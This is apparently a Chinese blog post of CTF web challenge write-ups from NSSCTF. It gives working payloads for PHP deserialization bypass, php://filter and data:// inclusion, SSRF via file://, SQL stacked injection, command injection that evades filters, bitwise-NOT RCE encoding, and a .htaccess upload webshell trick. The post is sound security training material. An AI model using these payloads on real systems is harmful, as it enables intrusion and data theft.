nss第二页

1、[LitCTF 2023]导弹迷踪

找到game.js然后就可以发现

2、[SWPUCTF 2021 新生赛]no_wakeup

打开题目是一个反序列化的题目,首先看源码

<?php header("Content-type:text/html;charset=utf-8"); error_reporting(0); show_source("class.php"); class HaHaHa{ public $admin; public $passwd; public function __construct(){ $this->admin ="user"; $this->passwd = "123456"; } public function __wakeup(){ $this->passwd = sha1($this->passwd); } public function __destruct(){ if($this->admin === "admin" && $this->passwd === "wllm"){ include("flag.php"); echo $flag; }else{ echo $this->passwd; echo "No wake up"; } } } $Letmeseesee = $_GET['p']; unserialize($Letmeseesee);

可以看到在魔术方法__destruct里面能够输出flag,而这个魔术方法是反序列化之后调用的,在反序列化之前还会调用__wakeup这个魔术方法,它在这题的作用是将passwd进行哈希加密,这是我们不愿意看到的。

这题大概的思路就是绕过__wakeup方法,执行destruct方法,让它执行if里面的语句

___wakeup方法的绕过:

当序列化字符串中表示对象属性个数的值大于类中实际的属性个数时,在反序列化时不是执行_wakeup方法

比如:

O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

如果把2改成3变成:

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";},如此就满足了序列化字符串中表示对象属性的个数的值大于实际个数,此时就会绕过__wakeup方法,执行__destruct方法

题目的脚本:

<?php class HaHaHa{ public $admin='admin'; public $passwd='wllm'; } $a=new HaHaHa(); echo serialize($a); ?>

最后的payload:

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

3、[SWPUCTF 2021 新生赛]PseudoProtocols

进入题目可以看到一个get传参的参数 wllm,然后还有要给hint.php,这题目可能隐藏了页面,那么就可能存在文件包含的漏洞

直接用filter流过滤器吧

?file=php://filter/read=convert.base64-encode/resource=hint.php

题目得到一串码,拿去解码

访问这个文件

代码审计一下,有个文件内容读取函数file_get_contents

此时只需要用可以用data协议将需要的内容写入就行了

最后的payload

?a=data://text/plain,I want flag

4、[NISACTF 2022]easyssrf

题目直接提示curl,直接用file协议(它是一种用于访问本地文件系统资源url的一种方案)

首先尝试 file:///flag(做题做多了一般flag都在根目录下)

提示

接着 file:///fl4g

提示:

访问这个文件

最后有个文件读取函数,然后参数就是要读取的文件名,这个文件名是我们可以控制的,最后的payload:

?file=/flag

也可以用filter过滤器

?file=php://filter/read=convert.base64-encode/resource=flag

5、[LitCTF 2023]Follow me and hack me

一个http协议的知识,按照题目的要求来就行了

6、[NCTF 2018]签到题

这题会自动跳转到secret.php,抓包,访问原网址

7、[LitCTF 2023]Ping

一道简单的ping题

8、[BJDCTF 2020]easy_md5

首先抓个包,看见它会将输入的数据进行md5加密,如果某个字符串经过md5加密后是一个万能密码,那么就可以绕过了

知识点:ffifdyop 经过md5加密后是一个万能密码

在框中输入ffifdyop,查看源码

访问/levell14.php

对于md5加密绕过直接用数组绕过

最后的payload:

post:param1[]=1¶m2[]=12

9、[suctf 2019]EasySQL

这题输入 1;show databases#

可以判断是一个堆叠注入(可以执行多条sql语句)

看了大佬的博客后才知道,存在sql语句:

select $_POST['query'] || flag from Flag;

payload:

*,1

带入sql语句就是select *,1 || flag from Flag;

首先进行逻辑运算 1 || flag 结果返回真(1),然后sql语句就变成了select *,1 from Flag;

因为 * 是所有,会列出Flag 表里的所有内容

还有一种方法就是修改SQL_mod的配置,使 || 失去进行或运算的作用,让它用来连接两个字符串,如 1 || flag 会变成 1flag

payload:

1;set sql_mod=PIPES_AS_CONCAT;select 1

插入SQL语句就成为select 1 || flag from Flag;

查询的结果其实也就是把select 1 from Flag;的结果和 select flag from Flag的结果拼接在一起

10、[NSSCTF 2022 Spring Recruit]ezgame

查看源码就出来了

11、[ZJCTF 2019]NiZhuanSiWei

首先执行第一个if语句,利用data协议写入 welcome to the zjctf

?text=data://text/plain,welcome to the zjctf

然后有个文件包含函数 include

file=php://filter/read=convert.base64-encode/resource=useless.php

拿到useless.php的内容

因为题目有个反序列化函数,并且最后把对象当成了字符串来输出,所以会触发__tostring()魔术方法,最后调用file_get_contents,获取·文件内容,所以只需要让$file=flag.php就行了

php脚本:

<?php class Flag{ //flag.php public $file='flag.php'; } echo serialize(new Flag()); ?>

最后的payload:

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

12、[GXYCTF 2019]Ping Ping Ping

这题是ping所以直接ping就好了

这题把空格和flag给过滤了,空格可以直接用$IFS$9来绕过

输入:

localhost;tac$IFS$9index.php

这里主要来看这个正则

if(preg_match("/.*f.*l.*a.*g.*/", $ip))

{die("fxck your flag!");}

首先 .* 表示匹配任意数量的任意字符

那么.*f.*l.*a.*g.*这个就表示匹配一个字符串,字符串中含有 f,l,a,g,并且这四个字母要以这种顺序出现,如flag,fxxlxxaxxg这样都是满足这个正则匹配的,

如此答案就出来了,

最后的payload:

localhost;y=ag;x=fl;tac$IFS$9$x$y.php (这里让y=ag,在前面,x=fl在后面就是为了绕过 preg_match("/.*f.*l.*a.*g.*/", $ip) 这个正则匹配,不让它按照顺序出现)

13、[SWPUCTF 2021 新生赛]hardrce

首先看代码,不能匹配字母和一些符号,但是没有过滤取反运算符 ~

所以这题我就用url编码取反绕过,因为经过取反运算后基本上是一些不可见字符,所以基本上不会触发正则表达式

PHP脚本

<?php echo urlencode(~'system'); echo "\n"; echo urlencode(~'ls /');

传入参数?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

最后改一下命令执行的参数就可以拿到flag了

14、[SWPUCTF 2021 新生赛]easyupload3.0

这题没啥,在传马之前需要传一个配置文件 .htaccess

内容为AddType application/x-httpd-php .png

作用就是他会把 .png后缀结尾的文件当成php文件来执行

最后上传一张含有马的图片,执行系统命令就可以拿到flag了

15、[LitCTF 2023]1zjs

点进去js代码可以看见有个隐藏文件

拿去jsfuck解码

把括号去掉就拿到flag了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值